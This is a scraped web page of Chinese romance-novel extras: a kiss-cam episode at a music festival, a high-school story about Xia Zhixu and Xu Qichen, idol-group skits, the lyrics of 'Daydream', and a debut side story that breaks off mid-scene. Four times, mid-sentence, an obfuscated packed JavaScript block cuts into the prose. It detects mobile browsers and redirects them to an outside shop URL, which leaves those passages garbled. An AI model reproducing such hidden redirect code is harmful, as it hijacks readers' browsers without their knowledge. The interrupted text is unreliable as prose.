夏习清瞥见周自珩双手合十,被逗笑了,“别告诉我你在祈祷拍到咱俩啊,我可不想上热搜。” “反正都是公开的关系啊,我们也不只一次被拍到了。”周自珩开始耍赖。 “那能一样吗?在外面吃饭约会被拍,和在大庭广众之下被拍到玩接吻游戏,你觉得哪个更……” 没等夏习清说完,鼓点骤然消失。 “好!让我们看看是哪两位幸运儿呢?” 在巨大的欢呼声中,夏习清忽然察觉出异样,怎么好像前面的人都在扭头,看向了他所在的方向。 “不会这么邪门儿吧,周自珩你是去哪个庙里开过光吗……” 事实却远比夏习清想象中更邪门、更晦气。 主唱兴奋地大喊,“恭喜这位穿白衬衫的帅哥,对就是你,还有戴红色棒球帽的美女,你们俩被选中啦!” 夏知许望着大屏幕上的自己,始终不敢相信自己的眼睛。 “搞什么啊……” 一旁的周自珩和躲在后头的许其琛也愣在当场,两人慌张地交换了一下眼神,竟然同一时间笑了出来。 台上的主唱还在起哄,“好像有点害羞呢,大家一起喊,亲一个——亲一个……” 台下的人也跟着喊,“亲一个!亲一个!亲一个……” 亲个毛啊! 是想要我当场吐血吗? 夏知许心如死灰地抬起手臂比出一个大大的叉,头摇得跟拨浪鼓一样。 “草……”夏习清无语了,低头打开手机,飞快打了几个字,横屏滚动展示出来。 “等等啊,这个小姐姐好像给我们打了字,我看看写的是什么……” 主唱眯着眼望向镜头,歪着脑袋看了半天,逐字复述出来,“‘我、是、男、的……'',啊?” 夏习清指了指手机屏幕,对着摄像机点了点头。 男的,如假包换。 主唱肉眼可见的慌张起来,“不好意思哈,我说怎么这位美女这么高,那、那要不抱一下吧?两位帅哥……” 得知俩人都是男的,在场气氛竟然更夸张了,“亲一个”的声音越来越浩大。 镜头里的两人简直把互相嫌弃摆在脸上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727039|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏知许恨不得穿越回半小时前,给非要站在夏习清旁边的自己狠狠甩几巴掌。 他完全没注意到,背后的许其琛和周自珩凑到一起,说了悄悄话。 眼看事态的发展愈发离谱起来,夏习清只好下一次低下头打字,刚打出[他是我侄子,别搞我]这几个字,还没来得及举起手机,胳膊就忽然被拽了一下,整个人都拽出画面外,到了周自珩跟前。 与此同时,许其琛一步上前,顶替他入镜,摘下自己的口罩,而后拍了拍夏知许的肩。 夏知许处在严重的夏习清ptsd中,连头都没回,“别搞我别搞我,我真会吐的我跟你说。” 许其琛被他这反应逗笑了,“笨蛋。” 他踮起脚,掰过夏知许的脸,隔着口罩吻了上去。 这样戏剧性的发展令所有人大感意外,气氛进入狂热的至高点,夏知许晕晕乎乎,后知后觉反应过来,也摘下口罩,在汹涌人潮与许其琛接了一个更亲密、更绵长的吻。 即便人声鼎沸,他们都清清楚楚地听到彼此的心跳,隔着胸膛暧昧共鸣着。 周自珩早把夏习清拉到远处,躲开镜头,抱住他,长叹了口气,“怎么我每次许的愿都实现不了,明明就差一点。” 这是差一点吗? 这是离了大谱了! 夏习清人都气笑了,“许得好,下次别许了。” 周自珩第一次见夏习清如此窘迫,乐不可支。 “你还笑得出来,不怕我真的抓住夏知许的领子亲上去啊?” 周自珩十分笃定,“这比地球解体的概率还要低。” 夏习清没话可说。 周自珩瞥了眼大屏幕里脸红透了的许其琛,倒是十分羡慕,撞了撞夏习清肩膀,“你也亲我一下。” “到处都是人你看不见啊。” “那我们溜吧。”周自珩提议,“这都是市郊了,开出去外面就没人了。” 夏习清双臂环胸,挑了挑眉,一副我看你小子还想说什么的表情。 可周自珩权当他默认,拉着手就往外走,直接溜出音乐节现场。 等到风暴中心的甜蜜情侣结束了万众瞩目的kiss game,才发现已经被放了鸽子。 [大侄子:让你别来你非要来,以后别跟着我俩了,行行好吧你。] 消息发出去半天都不回,趁着换人上台的空档,他直接一通电话打过去,准备好好批判一番这种惹了事拍拍屁股走人的恶劣行径。 电话好半天才接通,夏习清声音带着喘,明显不太耐烦。 “有屁快放。” “你捅完篓子就跑连顿饭都不请是吧?滚哪儿去了你……” “老子车震呢,挂了。” 许其琛见夏知许愣在原地,跟石化了一样,忍不住问,“他们不回来了吗?刚刚还说一起吃火锅呢,知许,你怎么了?” 夏知许回过神,打了个寒颤,神神叨叨,“这手机脏了,不能要了。” 许其琛被他逗笑了,一看就知道他又被夏习清刺激了。 “你怎么跟只炸毛小狗似的。” 这档乌龙事件当然被传到网上,一部分本来就嗑许编和家属cp的粉丝大呼过年,另一部分则是眼尖的自习CP粉,靠一些蛛丝马迹确认了周自珩也在现场,嗑得不亦乐乎。 但更多的是缺德乐子人在狠狠玩梗。 [这个音乐节的摄像机太毒了,完美避开了所有正确答案。] [是两位当事人半夜醒来都会忍不住反胃的程度哈哈哈哈哈] [居然真的把xqgg当成女生了hhh太漂亮没办法啊] [虎牙宝的表情简直是如丧考妣,xqgg满脸写着脏话,这一幕真的可以截图做缺德情侣(仇人)头像hhhh] [这俩人是真的连抱一下都跟要了命一样,幸好许编救场。] [可可爱爱的许编:还得是我呀。] 午夜时分,夏知许猛地翻身起来,许其琛还以为他真的想到音乐节上的事,心想真就这么难受吗? 可夏知许下一秒竟开口道,“琛琛,我们能不能试试车震?” 许其琛愣住了,“什、什么?” 夏知许一本正经地、诚恳地重复了那两个字。 然后差点被许其琛用枕头闷死。 32. 知许解夏番外(校园暧昧期) 高二分班之后,许其琛最期待的就是每周四的体育课,因为13班的体育课也是同个时间段。 这是极少数他不用刻意制造就可以拥有的碰面机会。 13班的人在他们之后才到达操场,夏知许还是和之前一样,懒懒散散跟在班级队伍的末尾,没有和陈放插科打诨,反倒是四处张望,直到隔着十几米的距离与许其琛对上视线,才露出笑容,高举手臂朝他挥手,不在意任何人的眼光。 许其琛向来羡慕他的勇气,换做他,使出全身气力,也只能回以一个很浅的笑。 体育老师絮絮说了许多,许其琛一个字都没听进去,眼睛一直盯着另一个队伍里的夏知许。他在比着动作说什么,好像是让自己课后留下来,要给他什么东西。 感觉到很多人看向他们,许其琛脸颊有些发烫。 没多久,13班的体育老师竟向他们走了过来,许其琛吓了一跳,还以为是他们两人的小动作招致了不满,于是悄悄转回身子,假装无事发生。 但他径直走向了4班的体育老师。 “我这秒表不太准,刚刚找了一下没有好的了。” “是吗?我也就找到这一个好使的,要不我用完给你用?” “也行,但是我怕弄不完,要不跑步就两个班一起测吧。” 体测,这对许其琛而言是个实打实的坏消息,但和13班一起测,似乎又变成了好消息。 还不确定。许其琛摸了摸口袋,里头空空如也,一颗糖也没有。 他已经开始提前头晕起来。 13班的人一听说和妹子数量奇多的4班一起体测,男生们都激动地欢呼起来,相当自觉地汇合起来,唯独少了夏知许。 去哪儿了? 许其琛四处张望,都没有发现夏知许的踪影。 怎么突然消失了。 过了几分钟,许其琛的左肩被人点了点,他下意识回头朝左边看,身后却空无一人,再一回头,就看到了寻找了半天的当事人。他似乎刚刚跑过,还喘着气。 “你怎么永远都会上当?”他笑起来虎牙收不住,在阳光下格外好看。 许其琛抿了抿嘴唇,十分没底气地反唇相讥,“你为什么永远都这么幼稚。” 夏知许晃了晃脑袋,“17岁男高中生做这种事很正常好吗?” “哟,我的17岁男高侄子又来骚扰我家琛琛了。” 夏习清不知从哪儿窜出来,十分顺手地揽住了许其琛的肩,对着夏知许挑了挑眉。 夏知许的脸瞬间拉下来,一巴掌拍开夏习清的手,“哪儿都有你,给我起开。”他说完抓住许其琛的手腕,拉着他就往别处走。 “哎,干嘛去,一会儿测1000米了。” “要你管啊。”夏知许回头冲夏习清翻了个白眼,拉着许其琛到没人的地方站定。 “伸手。” 许其琛有些懵,“嗯?” 夏知许直接抓住他的手,捋开他的手指,把一袋水果糖塞进他手里。 “快吃点,一会儿要跑步了。” 许其琛愣了愣,盯着包装看了半天。 刚刚消失……是去买这个吗? 他在心里否认,怎么会,就是恶作剧吧。 可是…… 随身带着糖,好像也很…… 他一时间竟不知道临时跑去买和一直带着,哪个更容易让自己产生不切实际的妄想。 索性不想了。 在夏知许的监督下,许其琛一连吃了五颗,齁得嗓子眼难受。体育老师把男生分成两组测1000米,夏知许和夏习清都在第一组,两个人较劲似的你追我赶,一溜烟儿跑在最前面,跑完了一点儿不累,还一起凑到体育老师跟前为了那零点几秒争论,身体素质简直好到让人羡慕。 连陈放都忍不住笑着大喊,“不是,你俩幼不幼稚啊?又不颁奖,谁第一不都一样吗?” 谁知一向不合的两人竟然默契地同时回怼,“不一样!” 多亏了幼稚男高的糖,许其琛也有惊无险地跑了下来,但他体质本来就弱,很少运动,跑下来还是有些吃力,到终点的时候两条腿跟灌了铅似的,只想往地上躺。 “不能往地上坐啊,坐了就起不来了。”体育老师提醒,“往前慢慢走两步就好了。” “嗯……”许其琛强忍着想蹲下的想法,摇摇晃晃往前走了几步,试图缓一缓,谁知几个搬体侧器材的男生没往前看,直愣愣撞上许其琛的后背。 就这样,本就站不住的许其琛一下子被外力撞倒,失去平衡,连眼镜都掉了下来。 看来注定是要躺地上,还不如早点放弃挣扎。 谁知下一秒,他竟落到一个熟悉的怀抱里。 “没事吧?” 夏知许的双臂绕过他手臂,手掌按在许其琛的后背。明明是正常的体温,但许其琛却觉得很烫,每一个小小的接触面都烫得厉害,皮肤好像快要熔化,他的手指仿佛可以直接穿透皮肉和骨骼,握住他的心。 “没事。”许其琛很不自然地想起来,可却使不上力,只能维持这样的姿势,直到夏知许将他扶正些。 “看着点儿人啊哥们儿。”夏知许的声音里难得带了些埋怨。 “不好意思啊,抱歉抱歉。” 许其琛的心跳得飞快,耳朵有些烫。他听到体育老师的喊声,立刻转身,动作僵硬地离开,刚走两步又折返回来,摸索着捡起掉落在地的眼镜,回到了自己的班级。 连谢谢都忘了说。 夏知许原地站了一会儿,摊开手臂,低头望了望。 “知许?你愣着干嘛?要测引体向上了!” 回到班上,夏知许的心却好像还飘在半空,他低头,又抬起手臂,闻了好几遍。 陈放忍不住问,“怎么了你?闻什么呢?给我也闻闻呗。” “边儿去。”夏知许推开了他,没过一会儿又低头闻了闻。 总感觉许其琛身上有香味。 可这也没办法找人考证啊。 该不会是自己鼻子出问题了吧。 后半节课的夏知许始终被这种似有若无的香气笼罩,心思飘忽,时不时就瞟向隔壁班,瞥到许其琛正在调整眼镜。 眼镜腿儿歪了,整个眼镜都是歪的。 他有些丧气地放弃了调整,不经意间流露出的小表情很是可爱。 下午最后一节课结束,许其琛食欲不佳,从食堂买了面包就上来,打算看会儿书,没想到一进教室,就看到夏知许坐在他同桌的位置上,笑着冲他招手。 “嗨,好久不见。” 明明两节课前刚见过。 “你怎么过来了?”教室里没有其他人,许其琛的负担感却并未因此减弱太多。 夏知许像是没听见他说话似的,扬了扬下巴,盯着他手里的面包,“你晚饭就吃这么一点啊。” 许其琛回到座位上,“不饿,你呢?吃过了吗?” 夏知许勾着嘴角,“还没,等着你请我。” “为什么我要……”还没等许其琛说完,夏知许忽然伸出手,将架在他鼻梁上的眼镜取了下来。 “这样戴着不难受吗?”夏知许变戏法似的变出一个眼镜螺丝刀,低头麻利地卸镜腿上的螺丝。 视线一下子变得模糊了。 许其琛定定地望着近在咫尺的人,他锋利的轮廓被夕阳的光溶解,每一个迷人的细节都变得不再清晰,在光圈里泛起涟漪。 他忽然发现,自己的记忆力好得可怕,竟然可以克服这么差的视力,一点点填补出夏知许的所有细节。 “这玩意儿还挺难弄。”夏知许手有些冒汗,擦了擦,“好小的螺丝。” “是吗?”许其琛看不清,本能地凑近了些,“没事,我也该换了,最近度数好像涨了一点……” 夏知许忽然噤声了。 不知不觉间,他们的距离竟然这么近,近到他轻轻动一动手,就可以碰到许其琛的脸颊。 那种似有若无的香气又一次出现。 夏知许的喉结上下滑了滑,手脚一下子变得笨拙起来。 “你在发抖吗?”许其琛看不清的时候会习惯性眯眼,他下意识伸出手,抓住了夏知许的手,想靠体感判断,“真的在抖,不舒服吗?” 夏知许没反应过来,一下子弹开,“啊?我……我没有啊,挺、挺好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727040|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没、没不舒服。” 许其琛望着他,缓慢地眨了两下眼,“哦……” 为什么会这么香啊。 难道只有我闻得到吗? 可是真的很明显啊! 夏知许赶紧低下头,可眼睛又不自觉瞟向许其琛的脸。 他的脸颊残留着一点被晒红的痕迹,鼻梁上有小小的凹陷,是戴眼镜留下的印记。 想捏一下那里。 视线不自觉沿着鼻梁往下。 上唇那里也有一个小小的凹陷。 感觉很软…… 窗外突然走过两个女生,热烈地讨论着什么。 “哎你看了刚更新的那一集没?他们亲了!” “啊真的吗!我放学就去看!亲得好亲得好!给我多亲!” 亲? 亲什么啊! 夏知许的心思瞬间被拽了回来,挺直身子,清了清嗓子,摒弃杂念认真修起了眼镜。 最近到底是怎么了? 上火了? 折腾了半天,总算弄好,他用眼镜布把眼镜擦了一遍,递给许其琛,“试试吧。” “谢谢。”许其琛戴上眼镜,转过头看向他,“还歪吗?” 夏知许摇头,伸手替他调整了一下,嘚瑟起来,“正好,我是不是很厉害?” “厉害。”许其琛夸完便把眼镜取了下来。 “摘下来干嘛?” “我想看看你戴眼镜是什么样子。”许其琛下意识开了口,却不小心把自己的心里话说了出来。 “我?可能不太好看。”夏知嘴上这么说,却很自然地拿过眼镜戴起来,“哇,你度数还真不低。” 他睁开眼晕得厉害。 “闭上眼吧,会头晕的。”许其琛轻声说。 “哦。”夏知许乖乖闭上了眼,“怎么样,好看吗?” 许其琛没有说话,而是从抽屉里拿出了手机,悄悄打开摄像头,趁他闭眼时拍下了一张照片。 “怎么不说话啊。”夏知许皱着脸睁开眼,“我就说不好看吧。” 所幸他藏得快,没被发现。 “好看。”许其琛背着手。 他不敢在这种时候直视夏知许笑得灿烂的脸,只能在深夜反反复复打开隐藏相册,盯着自己偷拍下的照片。 他时常会讨厌自己的好记性,竟然在多年后依旧记得这张照片上每一处小细节,夏知许新剪的短发、皱皱巴巴的脸,露出虎牙的笑。 包括完完整整的这一天。 许其琛以为夏知许不会记得,这对他的校园时代而言是多么无关紧要的一天,直到他们在一起之后的某个晚上,夏知许不小心看到了这张照片。 “你居然偷拍我!”夏知许揽过许其琛的腰,逼着他到自己怀里坐着,埋在他脖颈嗅着他身上的味道,嘟囔道,“真是小看你了。” “不是偷拍。”许其琛苍白地辩解,“你……” “我可不记得我摆好pose让你拍过。”夏知许放大了照片,“我明明在兢兢业业地修眼镜。” “你记得?”许其琛有些惊讶。 “那当然,为了借这么一个小螺丝刀,我可是足足跑了两个班,而且……”夏知许笑了,将许其琛的眼镜推到头顶,揉了揉他的鼻梁骨,吻了吻他鼻梁上小小的凹陷。 “那天我就想这么做了。” 说完,他又吻了吻许其琛的嘴唇。 “还有这个。” 接着他又埋头到许其琛颈窝,又啃又亲,甚至开始用牙齿解他衬衫的纽扣,还没脸没皮地含糊道,“还有这个……” 许其琛这才反应过来,想推却推不开,反倒被他压在沙发上,“你少骗人,那时候你才高中……” “对啊,我们男高是这样的。”夏知许黏糊地咬了咬他的嘴唇,“很幼稚,而且很行。” “你真的都记得……” “你对我说的每句话我都记得,厉不厉害?” 许其琛被他闹得不愿开口,抿着嘴不夸。 可真倔。 夏知许也不急,歪着头笑了一下。 “行,你可以做完再夸。” “……” 33. 一些卡团榨菜 虚假的老幺—— (戴兔耳的)凌一:谢谢各位多米诺姐姐给我颁发的这个队内最可爱成员奖!(拽拽兔耳)我爱你们么么么么么!(疯狂飞吻)(奖状翻过来一看)诶?最弱小成员……奖?什么啊?你们欺负我啊(委屈) * 真实的老幺—— (俯视全团)(摩拳擦掌)裴听颂:今天欺负哪个哥哥(除了我老婆)比较好呢?(首先抓住凌一) . . . . 虚假的舞担—— (练习时被第n次撞到的)贺子炎:哎呦小裴你这长胳膊长腿儿再整这么大框架,就是为了给你火哥大比兜是吧? (被贺子炎的长腿绊住的)裴听颂:笑死,我哪有火哥你的框架大啊,你这脚都跨越太平洋直奔我北美老家了,还这么会卡点,每次卡我脚边! 贺子炎(推搡):你怎么会这么会跳舞啊 裴听颂(推回去):你(重音)怎么这么会跳舞啊! 贺子炎:你会跳! 裴听颂:你更会跳! …… * 真实的舞担—— 方觉夏(试图上前劝说):不要在练习室打架啊 路远(拉住觉夏,摆上花生瓜子小板凳):快,继续!你俩都跳得好!多跳点! . . . . 虚假的主唱—— 裴听颂(被绑架看鬼片版):*****!!!(此处建议消音) * 真实的主唱—— 凌一(?):我爱洗澡皮肤好好,哦哦哦哦…… 方觉夏(醉酒版):阿门阿前一棵葡萄树……(裴听颂:好好好,葡萄树,葡萄树在这儿呢) . . . . 虚假的队长—— 路远(出远门时把凌一乱七八糟的行李箱收拾一遍):你就不能少带点零食吗?这哪儿不能买啊?都塞不下了(放弃)算了放我箱子里吧 路远(看到听觉过分亲密时)(走过去挡住两人,近距离磕cp顺便打掩护):哥们儿够意思吧,你俩继续,继续 路远(给惹到江淼的贺子炎出主意):你听我的准没错,就直接拉过来抱,别整那些没用玩意儿! * 真实的队长—— 江淼(看向其他五人)(眯眼笑):今天我们赌什么? . . . . 虚假的rap担—— 路远(准备出门去便利店):凌一你想吃啥? 凌一(深吸一口气):奥利奥意大利红烩味乐事薯片咔滋脆咪咪虾条浪味仙妙脆角鸡肉味火鸡面脆骨鸡肉丸子鱼籽福袋魔芋丝萝卜块烤脆皮肠芝士蛋糕巧乐兹冰淇淋生椰拿铁巧克力瑞士卷…… 路远(?_>`):你可真彪啊,要不我给你盘间店吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727041|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> * 真实的rap担—— 贺子炎(面对江淼):我刚刚没、没没露馅儿吧,我、我挺正常的啊,哪儿黏糊了…… 裴听颂(面对方觉夏):不是,怎么又提恋、恋冰癖啊,是,是我说的,我……我、我那时候刚成年呢,哥哥你让让我吧(老幺撒娇) . . . . 虚假的嗑CP现场—— 欧美粉丝:火哥和小裴能不能深情对视一下! 贺子炎看向裴听颂(三秒后) 三人同时做呕吐状 第三人是凌一 * 真实的嗑CP现场—— 听觉粉1号:裴听颂你脖子不酸吗?录三个小时我愣是拍不着几个正面镜头,眼睛长哥哥身上了吧…… 听觉粉2号:觉夏看小裴的眼神真的……我哭死,这眼神谁不爱上啊!你俩原地结婚吧! 路人(拍肩询问):他俩是真的吗? 听觉粉:假的假的,纯纯营业,工业糖精!裴听颂就是歪脖子,方觉夏看狗都深情! · 水火粉一号:卧槽盒子鱼又在偷偷勾老婆的手,你小子太会了太会了 水火粉二号:前两天淼淼和火都没怎么对视,看得我脑补出一场虐心小说,还好又黏糊了呜呜呜,妈呀嗑个cp比过山车还跌宕起伏 · 一带一路粉:不是,你俩怎么还在玛卡巴卡啊! 34. kaleido《Daydream》歌词 Daydream 作词:裴听颂,贺子炎 作曲:江淼 演唱:kaleido 最终解释权:稚楚 方觉夏:第一次吻你的时候 眩晕白昼 全宇宙陪我梦游 凌一:梦中你拥抱我伤口痛与温柔 来吧纵身跳入这河流 江淼:有我陪你游泳 路远:变成湖底两条屏息的鱼 你会不会比我更快吐气 方觉夏:或你做湖面我是蜻蜓 让这吻波光粼粼 凌一:You are my daydream,daydream 江淼:You are my daydream,daydream 路远:这场梦永不会醒 裴听颂:全世界差不多都快要知道我的心意 为什么你还没回应,是觉得我没脾气 忘词卡壳的心,错拍混乱头绪 dreamy dreamy baby,why you make me crazy 保证戒掉幼稚恶习,换独一无二的你 夏天午后日光氤氲,咖啡馆荷尔蒙飞行 想把你,变星星,就藏到我的掌心 等天晴,又落雨,百利甜治好心情 别介意流言蜚语,三二一来我怀里 你是我梦中早已,公布千万次的秘密 凌一:第一次交叠的双手 沉默相拥分食同个白日梦 江淼:梦中你变成小狗被雨浇透 我说这就是梦的出口 贺子炎:有我陪你寂寞 方觉夏:变成湖面两艘破旧的船 你要不要借我一块甲板 凌一:或我是流萤你是树影 让今晚波光粼粼 路远:You are my daydream,daydream 江淼:You are my daydream,daydream 方觉夏:这场梦永不会醒 贺子炎:别再把我当小孩快来看清我的内心 为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727042|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择逃避,是害怕不够清醒 没什么可以代替,你就是全部意义 梦里你吻过的痕迹,醒后请不要清零 长夜失眠翻来覆去,积攒白日做梦勇气 别逃离,别抗拒,别让一切变回忆 是未来,是过去,想念其实是爱意 别忘记彼此约定,现在起向我靠近 这是我梦中早已,坦白无数次的决心 凌一&路远:无人在意的午后热浪 风把我们推向对方 方觉夏&江淼:我知道一定有什么会从天而降 像夏日阵雨一样 齐:You are my daydream,daydream 齐:You are my daydream,daydream 齐:You are my daydream,daydream 齐:You are my daydream,daydream 裴听颂:挥手后仍然铭记 方觉夏:这场梦永不会醒 35. 营业悖论出道番外 12月25日。 黑茫茫的舞台上,大荧幕忽然亮起。 寂静之中,古筝音符流淌,黑白色调的影像开始播放,荧幕上低头练习乐曲的江淼,只穿着一件朴素的白色短袖,手腕缠着绷带,忘情演奏。 当他扬起手,音符悠长的尾韵渐渐淡去,画面切换到另一张脸,依旧是黑白,人群之中拿着鲜花与奖杯的路远笑得格外灿烂,在所有人的簇拥中高举双手,背景里满是欢呼声,是主持人强调的“有史以来最年轻的街舞大赛冠军”的头衔。 相似的画面无缝转场,只是换成一张更稚气的脸,哭到连冠军发言都忘词,只会说“我是凌一,我是第一名。” 热闹的获奖场面切换成同样热烈的酒吧和地下嘻哈比赛现场,快速切换的昏暗影像,两张不驯的面孔在愈发激烈的背景音乐中交替出现,气氛推向最高潮。 下一秒,荧幕黑下来,开灯的音效响起,是练习室里独自跳舞的方觉夏。画面缩小,变成视频平台的网页,点击的数字不断飞涨,达到三百万,是曾被期待在大公司出道的王牌练习生创下的奇迹。 数字停下,画面也随之暂停,接着一切倒流,最终归于黑暗,舞台再次陷入沉寂。 许多声音响起。 “其实你根本不适合做这一行吧?” “坚持下来有什么意义?” “一点特色都没有。” “都长一样,人都认不全,没人会记得你们。” 下一刻,黑色荧幕亮起万花筒的色彩,五光十色,变幻万千。 这是两天前释处的出道曲预告,1分钟的影片背景音乐是出道曲的变调伴奏,只在结尾出现了一句歌词。 [风暴后你会记住我。] 舞台中心,一束白色追光亮起,升降台缓缓上升,六个男孩的身影出现。 直到他们站定,深深向台下鞠了一躬,起身之后,露出青涩的笑容。 “大家好,我们是Kaleido!” 那一瞬间的方觉夏是恍惚的,舞台太黑,他看不到究竟多少人会来看这场出道演出,更看不清这些人的表情。 但这就是他渴望的舞台,也第一次让他感觉,黑暗真好。 为了走入这一场黑暗,他花了太久,久到一切付出都变成惯性。甚至在一年半前,出道初版策划确认和通过的当天,他都没什么感觉。 反而是后来,年龄最小的裴听颂空降来到星图,被直接安插进团体的时候,方觉夏才真正有了要出道的实感。 尽管小少爷和他并不对付,甚至可以说是相看两厌。 当时的方觉夏活得很累,无暇顾及社交上的困境,更不愿再招惹是非,只能无视他的存在。 “我的预告放出来了!出道预告!”凌一猛地推开练习室的大门,一屁股挤开方觉夏和路远,手机快举到他们脸上。 路远脑袋一歪,“我早看了,看好几遍了。” “我还没看。”方觉夏点开视频。 “已经放出来有大半天了,但是评论和弹幕都少得可怜。”凌一叹了口气,“好惨,我已经过气了,根本没人记得,比赛时候的那点粉丝也都跑了。” 方觉夏不知如何安慰,只好伸手摸了摸凌一的头。 娱乐圈更新换代最快,他们都是出厂就岌岌可危的小零件,运气不好就会被拧下来扔掉,这是再正常不过的事。 路远双臂环胸,“谁说没人记得?我记得你啊,我第一次看那个节目就记住你了。” “你少骗人!” “骗你干哈,我真记得啊。”路远说完,冷不丁开始哼起歌来。 方觉夏忽然抬头,也反应过来。 这是凌一参加比赛时唱的第一首歌,也是他开启歌手生涯的起点。 时间太过久远,当初的光环和荣耀只是轻飘飘的彩色泡泡,没多久就破灭了。 这首歌可谓是让凌一一战成名,难度非常大,路远哼得很没有底气,见凌一愣在当下也没什么反应,于是有些尴尬地清了清嗓子,“没、没哼错吧?” 谁知下一秒,凌一猛地将他抱住,声音都带了哭腔,“远远我也记得你!” 路远被他这一抱差点咳嗽出来,“记得记得,我知道你记得。” “但是……但是我可跳不出你当时跳的舞。” 这话锋转得,方觉夏都忍不住笑了出来。 这是要互相交换出道舞台吗? 路远拍着凌一的背,“你是真彪,这说跳就能跳的我直接把主舞位置让你呗。” “那我不成Ace了。”凌一又乐了。 路远打趣,“觉夏还在呢,你A个头啊。” 方觉夏两手往身后一撑,靠在练习室的镜子上微笑,“那我去做队长吧。” 好巧不巧,江淼刚刚好出现在门口,笑眯眯道,“好啊,我现在就告诉羌哥。这队长我可是一天都不想当了,谁当谁操心。” 方觉夏立刻摇头,“不行不行,我做不了。” 光是每天跟团队里所有人协调沟通就够伤脑筋了,何况队里还有一个讨厌他的刺头。 完全无法交流。 “觉夏?” 听见江淼的声音,方觉夏这才从幻想出来的危机中抽身,“嗯?” 路远开始拱火,“看来觉夏是真的在认真考虑篡位这件事。” 方觉夏立刻否认,“真不是,我只是走神了。” 江淼意味深长地笑了笑,也跟着坐了下来,“哦对了觉夏,刚刚我碰到策划部的林老师,他说要是看到你让你去找他一下,可能是关于概念海报选图的事。” “嗯,我这就去。” 卡莱多是星图筹备策划的第二个男团,之前的师兄团出道前两年没什么水花,后来组合老幺商思睿个人意外走红,接下大热综艺和偶像剧,带起整个团的人气和热度。 有了前车之鉴,星图自然想将这种单人带团的模式延续到新团,所以不惜一切代价争取到方觉夏。 从一开始,赌注就压在了他身上。 和很多的未公开练习生不同,由于前公司的刻意曝光,方觉夏的关注度甚至超过许多已经出道的偶像。 也正因如此,他这张王牌恢复自由身后也曾被数不清的大小公司争抢过,谁也没想到他最后会选择名不见经传的星图。 娱乐业本质依旧是资本运作下的粉丝经济,偶像是商品,得不到的爆款最好的处理方式就是预先销毁。 因此在方觉夏被正式收编星图后,黑料便层出不穷,拜他天生顶好的皮相所赐,大多谣言都与性挂钩,极大程度满足了看客的猎奇心。 在此之前,星图的公关部一直在努力处理,但自从方觉夏的个人出道预告释出,一切都失控了。 从策划部开完会出来,方觉夏原本打算直接回练习室,可忽然发现自己的眼药水落在办公室,于是折返回去,正好听到公关部的组长和林老师聊天。 “现在黑帖删都删不完,给人平台发邮件发函都没用,白搭。” “他们当然不会删,有吵架才有热度,有热度才有钱。对了,公司不是给你们提预算了?” “那也不够啊,公关费跟流水一样往外撒也不够,黑帖越来越多,之前感觉还是那种水军开的,现在讨论传播的活人用户明显多过水军了,今天还上了热搜,整个组都连加一个月班了,一天没休过,累都累死了。” “没办法,谁让咱们这C位自带话题呢,黑红也是红,看开点吧。” “不是,这真的值当吗?别到时候一个人害了整个团,彻底熄了火,连公关费都挣不回来。” “人小孩儿挺努力的,能不能说点吉利话啊你。” 吉不吉利其实不重要,因为确实都是事实。 或许是被精准地点出他最害怕的地方,方觉夏没继续听下去,直接转头回到练习室。 倒霉事仿佛总会叠加,刚来到练习室,他又瞥见最不想面对的人。对方正在里面和贺子炎练舞,因为一个不标准的动作而大笑,像个孩子。 方觉夏听着他的笑声,没进去,徘徊后独自来到楼下的小练习室,从下午练到凌晨五点,吃了点面包,又去声乐教室,边跑步边唱,把自己练到精疲力尽为止。 够累就不会胡思乱想了,他一贯如此。 在声乐教室的沙发上眯了一会儿,短短一小时里他断续做了两个梦,一个关于父亲,另一个则是他从黑暗的舞台上摔了下去,台下的人黑压压一片,都在拍手叫好,目光锋利,都在笑。 父亲歇斯底里的声音如鬼魅般萦绕不去。 [一上舞台就像个瞎子,有什么用?舞台上的残疾!知道什么叫残疾吗?] [看看你爸爸我!这就是残疾!] 